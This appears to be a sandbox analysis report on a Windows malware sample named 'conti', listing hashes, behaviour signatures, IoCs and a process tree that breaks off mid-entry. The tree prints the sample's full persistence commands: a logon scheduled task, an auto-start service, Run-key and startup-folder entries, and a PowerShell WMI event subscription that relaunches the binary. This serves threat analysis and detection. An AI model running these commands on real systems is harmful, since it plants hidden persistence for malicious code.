3d11f76cc4b6d599cea1e07e002b146bf6398b2a663bdd90745e0e1e2476c722

Analysis

max time kernel
150s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
14/07/2026, 02:42

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
Size 575KB
Sample260714-c69fcsey9s
SHA256 3d11f76cc4b6d599cea1e07e002b146bf6398b2a663bdd90745e0e1e2476c722
MD5 f87e936cd65f4049b6756eeced98351b
SHA1 c6cf1ff203120fa013f059d52f8c527179cef1ff
SHA512 cda5e62c100d6cc51cc038f79a509a841e8fddf9a338a3bfe1f448973c08532fa42f3ddcfc520a73fae3a27f0f703a1677f587f8abee73f6828a7fc5fbc120b4
SSDEEP 6144:H2Nx9/mxjO9ZiDZ7pZWRFhZ6zskLJNHMh7/Wseyi0h7674EmyY9AhV7Dsm:Hk9/7ZiDtpZYhZsNHycN74Em79A3d
TLSH
T139C409DAB6C4ACF7D73B0274168766202339F7A0A7C7EF1782555A220D137C9BE1A781
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

execution persistence

Malware Config

Signatures

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Drops startup file 12 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\00000029.lnk	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\00000029.lnk	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\00000029.lnk	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\00000029.lnk	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\00000029.lnk	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\00000029.lnk	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\00000029.lnk	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\00000029.lnk	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\00000029.lnk	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\00000029.lnk	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\00000029.lnk	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\00000029.lnk	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe

Adds Run key to start application 2 TTPs 12 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\00000029 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\00000029 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\00000029 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\00000029 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\00000029 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\00000029 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\00000029 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\00000029 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\00000029 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\00000029 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\00000029 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\00000029 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3780	powershell.exe
1608	powershell.exe
25476	Process not Found
2580	powershell.exe
8568	powershell.exe
1200	powershell.exe
10476	powershell.exe
12528	powershell.exe
19188	powershell.exe
20348	powershell.exe
880	powershell.exe
2008	powershell.exe
21556	Process not Found
2944	powershell.exe
7084	powershell.exe
1208	powershell.exe
14344	powershell.exe
2020	powershell.exe
4632	powershell.exe
12892	powershell.exe
11584	Process not Found
5308	powershell.exe
8792	powershell.exe
15192	powershell.exe
12648	powershell.exe
5884	powershell.exe
5988	powershell.exe
11680	powershell.exe
7324	powershell.exe
15588	Process not Found
21036	Process not Found
9076	powershell.exe
6412	powershell.exe
10704	powershell.exe
11404	Process not Found
3524	Process not Found
7564	powershell.exe
8852	powershell.exe
6644	powershell.exe
6880	powershell.exe
4688	powershell.exe
13104	powershell.exe
18740	powershell.exe
10628	powershell.exe
10600	powershell.exe
13268	powershell.exe
14876	powershell.exe
4728	powershell.exe
3168	powershell.exe
20416	powershell.exe
6648	powershell.exe
2060	powershell.exe
1548	powershell.exe
204	powershell.exe
11328	powershell.exe
12724	powershell.exe
3804	powershell.exe
21008	Process not Found
30736	Process not Found
1400	powershell.exe
1924	powershell.exe
10772	Process not Found
5464	powershell.exe
3156	powershell.exe

Launches sc.exe 64 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
6456	sc.exe
2344	sc.exe
14436	sc.exe
6676	sc.exe
10328	sc.exe
15172	sc.exe
13184	Process not Found
52	sc.exe
4544	sc.exe
8496	sc.exe
14224	sc.exe
4516	sc.exe
5136	sc.exe
7420	sc.exe
2856	sc.exe
26852	Process not Found
4052	sc.exe
7864	sc.exe
9608	sc.exe
4464	sc.exe
8208	sc.exe
7956	sc.exe
14124	sc.exe
12880	sc.exe
16256	sc.exe
10628	Process not Found
8080	sc.exe
12192	sc.exe
18340	sc.exe
19108	sc.exe
8396	sc.exe
3388	sc.exe
4464	sc.exe
7408	sc.exe
26576	Process not Found
2764	sc.exe
9732	sc.exe
10316	sc.exe
10536	sc.exe
12968	sc.exe
18380	Process not Found
10496	sc.exe
19092	Process not Found
8840	sc.exe
10556	sc.exe
13896	sc.exe
29152	Process not Found
5868	sc.exe
6496	sc.exe
7568	sc.exe
11732	sc.exe
6908	sc.exe
8972	sc.exe
11032	sc.exe
20812	Process not Found
4832	sc.exe
6240	sc.exe
12204	sc.exe
5224	sc.exe
2372	sc.exe
11444	sc.exe
10624	sc.exe
12748	Process not Found
564	sc.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 64 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
7560	schtasks.exe
2020	schtasks.exe
10432	schtasks.exe
12780	schtasks.exe
14744	schtasks.exe
2672	schtasks.exe
4940	schtasks.exe
18260	schtasks.exe
24172	Process not Found
6200	schtasks.exe
7032	schtasks.exe
11940	schtasks.exe
19180	schtasks.exe
7940	schtasks.exe
10892	schtasks.exe
8740	schtasks.exe
11692	schtasks.exe
17940	schtasks.exe
26732	Process not Found
12788	schtasks.exe
4652	schtasks.exe
20768	Process not Found
15144	Process not Found
25716	Process not Found
23772	Process not Found
9724	schtasks.exe
14136	schtasks.exe
18704	Process not Found
23096	Process not Found
24428	Process not Found
23744	Process not Found
5064	schtasks.exe
2840	schtasks.exe
9620	Process not Found
11664	schtasks.exe
15260	schtasks.exe
20496	Process not Found
21100	Process not Found
8504	schtasks.exe
12672	schtasks.exe
28196	Process not Found
29936	Process not Found
14480	schtasks.exe
28852	Process not Found
880	schtasks.exe
21272	Process not Found
23592	Process not Found
26172	Process not Found
10940	schtasks.exe
9232	schtasks.exe
3232	schtasks.exe
19096	schtasks.exe
19716	schtasks.exe
8836	schtasks.exe
11676	schtasks.exe
16580	schtasks.exe
13332	Process not Found
5592	schtasks.exe
7392	Process not Found
9228	Process not Found
2436	schtasks.exe
6868	schtasks.exe
12164	schtasks.exe
12872	schtasks.exe

Suspicious behavior: EnumeratesProcesses 31 IoCs

pid	Process
4628	powershell.exe
4628	powershell.exe
5988	powershell.exe
5988	powershell.exe
5988	powershell.exe
4728	powershell.exe
4728	powershell.exe
5324	powershell.exe
5324	powershell.exe
4728	powershell.exe
5324	powershell.exe
1400	powershell.exe
1400	powershell.exe
1400	powershell.exe
5308	powershell.exe
5308	powershell.exe
5308	powershell.exe
5988	powershell.exe
5988	powershell.exe
4812	powershell.exe
4812	powershell.exe
4812	powershell.exe
5988	powershell.exe
3780	powershell.exe
3780	powershell.exe
2060	powershell.exe
2060	powershell.exe
3780	powershell.exe
2060	powershell.exe
2944	powershell.exe
2944	powershell.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

description	pid	Process
Token: SeDebugPrivilege	4628	powershell.exe
Token: SeDebugPrivilege	5988	powershell.exe
Token: SeDebugPrivilege	4728	powershell.exe
Token: SeDebugPrivilege	5324	powershell.exe
Token: SeDebugPrivilege	1400	powershell.exe
Token: SeDebugPrivilege	5308	powershell.exe
Token: SeDebugPrivilege	5988	powershell.exe
Token: SeDebugPrivilege	4812	powershell.exe
Token: SeDebugPrivilege	3780	powershell.exe
Token: SeDebugPrivilege	2060	powershell.exe
Token: SeDebugPrivilege	2944	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4104 wrote to memory of 6116	4104	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe	87
PID 6116 wrote to memory of 5264	6116	cmd.exe	89
PID 4104 wrote to memory of 4616	4104	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe	90
PID 4616 wrote to memory of 52	4616	cmd.exe	92
PID 4104 wrote to memory of 2216	4104	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe	94
PID 5048 wrote to memory of 2544	5048	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe	97
PID 2216 wrote to memory of 4628	2216	cmd.exe	99
PID 2544 wrote to memory of 3620	2544	cmd.exe	100
PID 5048 wrote to memory of 1052	5048	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe	101
PID 1052 wrote to memory of 3388	1052	cmd.exe	103
PID 5048 wrote to memory of 5756	5048	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe	104
PID 5756 wrote to memory of 5988	5756	cmd.exe	106
PID 4104 wrote to memory of 1444	4104	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe	108
PID 1444 wrote to memory of 5736	1444	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe	109
PID 5048 wrote to memory of 2100	5048	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe	111
PID 5736 wrote to memory of 3156	5736	cmd.exe	112
PID 2100 wrote to memory of 4708	2100	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe	113
PID 1444 wrote to memory of 1464	1444	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe	115
PID 4708 wrote to memory of 3396	4708	cmd.exe	117
PID 2100 wrote to memory of 2328	2100	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe	118
PID 1464 wrote to memory of 5604	1464	cmd.exe	120
PID 1444 wrote to memory of 4996	1444	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe	121
PID 2328 wrote to memory of 4544	2328	cmd.exe	122
PID 2100 wrote to memory of 4376	2100	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe	124
PID 4996 wrote to memory of 4728	4996	cmd.exe	126
PID 4376 wrote to memory of 5324	4376	cmd.exe	127
PID 4104 wrote to memory of 5828	4104	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe	128
PID 5828 wrote to memory of 2980	5828	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe	129
PID 2980 wrote to memory of 4204	2980	cmd.exe	131
PID 5048 wrote to memory of 2780	5048	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe	132
PID 2780 wrote to memory of 3516	2780	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe	133
PID 5828 wrote to memory of 2252	5828	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe	135
PID 3516 wrote to memory of 3428	3516	cmd.exe	137
PID 2252 wrote to memory of 5224	2252	cmd.exe	138
PID 5828 wrote to memory of 1236	5828	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe	140
PID 2780 wrote to memory of 5984	2780	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe	139
PID 5984 wrote to memory of 5560	5984	cmd.exe	143
PID 1236 wrote to memory of 1400	1236	cmd.exe	144
PID 2780 wrote to memory of 2392	2780	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe	145
PID 2392 wrote to memory of 5308	2392	cmd.exe	147
PID 1444 wrote to memory of 4904	1444	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe	148
PID 4904 wrote to memory of 4440	4904	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe	149
PID 2100 wrote to memory of 4888	2100	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe	151
PID 4888 wrote to memory of 5616	4888	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe	152
PID 4440 wrote to memory of 4660	4440	cmd.exe	154
PID 5616 wrote to memory of 2672	5616	cmd.exe	155
PID 4904 wrote to memory of 1292	4904	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe	156
PID 4888 wrote to memory of 864	4888	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe	158
PID 1292 wrote to memory of 5868	1292	cmd.exe	160
PID 864 wrote to memory of 4132	864	cmd.exe	161
PID 4904 wrote to memory of 4964	4904	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe	162
PID 4888 wrote to memory of 5880	4888	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe	164
PID 4964 wrote to memory of 5988	4964	cmd.exe	166
PID 5880 wrote to memory of 4812	5880	cmd.exe	167
PID 4104 wrote to memory of 2684	4104	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe	169
PID 2684 wrote to memory of 2964	2684	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe	170
PID 2964 wrote to memory of 4940	2964	cmd.exe	172
PID 5048 wrote to memory of 4600	5048	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe	173
PID 4600 wrote to memory of 1532	4600	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe	174
PID 2684 wrote to memory of 4100	2684	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe	176
PID 1532 wrote to memory of 2128	1532	cmd.exe	178
PID 4100 wrote to memory of 5372	4100	cmd.exe	179
PID 4600 wrote to memory of 6124	4600	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe	180
PID 2684 wrote to memory of 2976	2684	2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe	182

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
1⤵
- Drops startup file
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4104
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6116
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
    3⤵
    PID:5264
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4616
- - C:\Windows\system32\sc.exe
    sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
    3⤵
    - Launches sc.exe
    PID:52
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2216
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4628
- C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
  2⤵
  - Drops startup file
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:1444
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5736
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:3156
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1464
  - - C:\Windows\system32\sc.exe
      sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:5604
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4996
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4728
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    - Drops startup file
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:4904
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4440
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:4660
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1292
    - - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        Launches sc.exe
        
        PID:5868
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4964
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5988
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:3112
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:2720
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2436
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:4532
      - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        
        PID:2576
    - - C:\Windows\system32\cmd.exe
        
